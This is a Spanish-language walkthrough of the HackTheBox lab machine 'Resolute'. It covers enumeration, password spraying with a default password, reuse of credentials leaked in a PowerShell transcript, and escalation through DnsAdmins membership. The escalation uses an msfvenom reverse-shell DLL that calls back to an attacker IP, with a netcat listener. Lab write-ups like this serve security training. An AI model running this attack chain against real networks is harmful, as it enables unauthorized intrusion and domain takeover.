Resumen

Aprovechando la posibilidad de enumerar usuarios con rpcclient se pudo obtener credenciales para el punto de apoyo. Posteriormente con la enumeración de directorios y con credenciales quemadas en un script se accedió con privilegios de DNSAdmin. Con este privilegio se envenenó el servicio DNS para que al iniciar se pueda obtener una shell reversa con privilegios de Administrator.

Enumeración

Iniciamos con la enumeración básica con nmap.

nmap -p- –open -T5 -v -oG allPorts -n resolute.htb

nmap -p$(cat allPorts | grep -oP ‘\d{2,5}/open’ | awk ‘{print $1}’ FS=»/» | xargs | tr ‘ ‘ ‘,’) -sC -sV -oN targeted resolute.htb

Punto de Apoyo

Con el uso de rpcclient se identificaron varios usuarios:

Con el uso de rpcclient se pudo obtener la información de los usuarios, en el usuario «marko» con rid:[0x457] se encontró información interesante.

Obtener Usuario

Al parecer utilizan el password «Welcome123» como password inicial al momento de crear las cuentas.

Con el resultado obtenido con el comando enumdomusers se pudo elaborar una lista de usuarios.

cme smb resolute.htb -u users.txt -p Welcome123! 

Con esto podemos ver que el usuario melanie tiene el password Welcome123!

evil-winrm -u melanie -p Welcome123! -i resolute.htb                                   

En este punto ya podemos ver la flag del usuario.

Obtener Root

Si se listan los archivos en c: con la opción «-h» podemos ver archivos o directorios ocultos.

Si listamos de manera recursiva el directorio PSTranscripts tenemos el siguiente resultado.

En el contenido de PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt unas credenciales que utilizan para conectar una unidad de red «X:» hacia un servidor de archivos de nombre fs01 al directorio backups. Las credenciales son usuario ryan, password Serv3r4Admin4cc123!

Probando estas credenciales se pudo verificar que son válidas y ahora tenemos acceso con el usuario ryan.

Ahora, revisando los privilegios del usuario ryan, se puede ver que pertenece a DnsAdmins.

Este privilegio podría ser usado para una elevación de privilegios. En la búsqueda de información para determinar el camino para el privesc se encontró este artículo:

https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2

Entonces lo que aquí se plantea es que aprovechando los privilegios de DnsAdmins podríamos manipular el servicio de tal manera que al momento de que DNS inicie, ejecute una shell reversa con privilegios de Administrator.

Para lograr esto se generó un dll con msfvenom y se subió a resolute.htb.

msfvenom -p windows/x64/shell_reverse_tcp -f dll lhost=10.10.14.21 lport=1234 -o plugin.dll

Con impacket se inició un servicio smb para compartir el dll.

Ahora con los privilegios de ryan se instalará el dll privesc.dll como un plugin.

Con ello queda abrir el puerto 1234 en la máquina del atacante con netcat.

nc -lvp 1234